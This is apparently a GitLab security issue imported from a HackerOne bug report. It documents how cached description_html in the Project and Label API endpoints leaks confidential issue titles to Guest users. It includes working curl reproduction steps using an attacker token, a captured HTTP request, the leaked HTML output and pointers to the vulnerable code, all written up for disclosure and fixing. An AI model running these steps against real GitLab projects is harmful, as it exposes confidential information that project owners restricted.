Confidential Issue Title Leak via cached description_html in Project and Label API endpoints leads to information disclosure
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #3532881](https://hackerone.com/reports/3532881)** by `modhanami` on 2026-01-31, imported by @fvpotvin: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## HackerOne Analyst Summary ## Summary of the Issue GitLab's Project and Label API endpoints expose cached `description_html` that contains confidential issue titles, leading to information disclosure. When project descriptions or label descriptions reference confidential issues from other projects (using syntax like `private-project#18`), the cached HTML output includes the full confidential issue title in the `title` attribute of the generated link. This allows Guest users who have access to a project with such references to read confidential issue titles from projects they cannot directly access. ## Steps to reproduce **Setup (Victim):** 1. Create a group with two projects: `private-project` and `shared-project` ![Screenshot_2026-02-01_at_12.33.00_PM.png](https://h1.sec.gitlab.net/a/94a8c937-503b-42e3-8fbb-4bb6b68993fc/Screenshot_2026-02-01_at_12.33.00_PM.png) ![Screenshot_2026-02-01_at_12.34.29_PM.png](https://h1.sec.gitlab.net/a/b487e279-1330-458c-8b2e-6684babba884/Screenshot_2026-02-01_at_12.34.29_PM.png) ![Screenshot_2026-02-01_at_12.35.39_PM.png](https://h1.sec.gitlab.net/a/e40420bd-5678-4b25-8caf-b31eac12ae2c/Screenshot_2026-02-01_at_12.35.39_PM.png) ![Screenshot_2026-02-01_at_12.44.34_PM.png](https://h1.sec.gitlab.net/a/3a4c6b8c-7c0e-4bcc-9453-493d4f39e4bb/Screenshot_2026-02-01_at_12.44.34_PM.png) 2. Create a confidential issue in `private-project` (e.g., #18 titled "Critical Security Flaw in Auth System") 3. Update `shared-project` description to reference it: `Related to private-project#18` 4. Invite attacker as **Guest** to `shared-project` only ![Screenshot_2026-02-01_at_12.38.08_PM.png](https://h1.sec.gitlab.net/a/8046686a-fe47-40fb-a431-a43cf4b24a6f/Screenshot_2026-02-01_at_12.38.08_PM.png) **Exploit (Attacker):** ```bash # Attacker CANNOT access confidential issue directly curl -s "https://gitlab.com/api/v4/projects/$PRIVATE_PROJECT_ID/issues/18" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" # Returns: 404 Project Not Found # Attacker CAN see leaked title via project's description_html curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html' ``` ![Screenshot_2026-02-01_at_12.43.22_PM.png](https://h1.sec.gitlab.net/a/3e8d68fb-de24-4d68-8a60-9fafb282b644/Screenshot_2026-02-01_at_12.43.22_PM.png) ```http GET /api/v4/projects/78143334 HTTP/2 Host: gitlab.com Cookie: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: */* Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitlab.com/dashboard/groups X-Csrf-Token: --K4J1VRykF-F8Zoe3nTbxRd1NVZ78x_Xg3RIvUeNZzLBUnpzK1ANtoL1wz0_u2B3IyizUM9JvW6SJnB96Mc2A X-Gitlab-Version: 18.9.0-pre X-Gitlab-Feature-Category: groups_and_projects Sentry-Trace: a022a2a921d54e3e8ca260352992de57-a26a6970b4decdaf-0 Baggage: sentry-environment=gprd,sentry-release=2a4948d27fc,sentry-public_key=f5573e26de8f4293b285e556c35dfd6e,sentry-trace_id=a022a2a921d54e3e8ca260352992de57,sentry-transaction=dashboard%3Agroups%3Aindex,sentry-sampled=false,sentry-sample_rand=0.8680903363466995,sentry-sample_rate=0.05 Origin: https://gitlab.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Pwnfox-Color: green Priority: u=4 Te: trailers ``` **Alternative vector (Label):** ```bash # Victim creates label with description: "Tracked in private-project#18" # Attacker reads label description_html curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID/labels" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq '.[].description_html' ``` ## Impact statement This vulnerability allows unauthorized disclosure of confidential information that should be restricted based on project access controls. Guest users can extract confidential issue titles from private projects they have no legitimate access to, potentially exposing sensitive security information, internal project details, or other confidential data contained in issue titles. This breaks GitLab's access control model and could lead to information leakage in enterprise environments where teams use issue references to track dependencies or security-related work across projects with different permission levels. ## Original Report ##### Summary Project and Label API endpoints expose cached `description_html`, leaking confidential issue titles to Guest users who shouldn't see them. ##### Steps to reproduce **Setup (Victim):** 1. Create a group with two projects: `private-project` and `shared-project` 2. Create a confidential issue in `private-project` (e.g., #18 titled "Critical Security Flaw in Auth System") 3. Update `shared-project` description to reference it: `Related to private-project#18` 4. Invite attacker as **Guest** to `shared-project` only **Exploit (Attacker):** ```bash ### Attacker CANNOT access confidential issue curl -s "https://gitlab.com/api/v4/projects/$PRIVATE_PROJECT_ID/issues/18" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" ### Returns: 404 Project Not Found ### Attacker CAN see leaked title via project's description_html curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html' ``` **Alternative vector (Label):** ```bash ### Victim creates label with description: "Tracked in private-project#18" ### Attacker reads label description_html curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID/labels" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq '.[].description_html' ``` ##### Impact - Guest users can read confidential issue titles from projects they cannot access - Two vectors: project description, label description - Label scenario: teams create labels with descriptions like "Blocked by: security#42" to track dependencies ##### Examples Tested on gitlab.com: - Private project: `modhanami-h1-group/modhanami-h1-project` (ID: 77451172) - Shared project: `modhanami-h1-group/project2` (ID: 78130988) - Confidential issue: #18 ##### What is the current *bug* behavior? API returns cached HTML with embedded confidential title: ```html <a href="...-/issues/18" title="Critical Security Flaw in Auth System" ...> modhanami-h1-project#18 </a> ``` ##### What is the expected *correct* behavior? Confidential issue titles should be redacted before API response. MR and Release entities already handle this correctly by running post-process redaction via `MarkupHelper.markdown_field` (see https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/merge_request_basic.rb#L25-L27). Vulnerable components: - https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/project.rb#L114 - `expose :description_html` - https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/label_basic.rb#L6 - `expose :description_html` ##### Relevant logs and/or screenshots **Via UI** The victim can see the reference resolved and can hover to see the title. ![image.png](https://h1.sec.gitlab.net/a/289cd883-6e69-44c8-8a4e-0cf96b389ae9/image.png) The attacker can only see the unresolved reference. ![image.png](https://h1.sec.gitlab.net/a/459740b9-7036-4281-a423-948b60a27d89/image.png) **Via API** The attacker can see the issue title ``` $ curl -s "https://gitlab.com/api/v4/projects/78130988" \ -H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html' <p dir="auto">Related to <a href=".../-/issues/18" title="Critical Security Flaw in Auth System" <-- LEAKED class="gfm gfm-issue">modhanami-h1-project#18</a></p> ``` ![image.png](https://h1.sec.gitlab.net/a/175b5577-ca92-4bc3-b6b8-b12a130a7705/image.png) ##### Output of checks This bug happens on GitLab.com. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [image.png](https://h1.sec.gitlab.net/a/175b5577-ca92-4bc3-b6b8-b12a130a7705/image.png) * [image.png](https://h1.sec.gitlab.net/a/289cd883-6e69-44c8-8a4e-0cf96b389ae9/image.png) * [image.png](https://h1.sec.gitlab.net/a/459740b9-7036-4281-a423-948b60a27d89/image.png) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue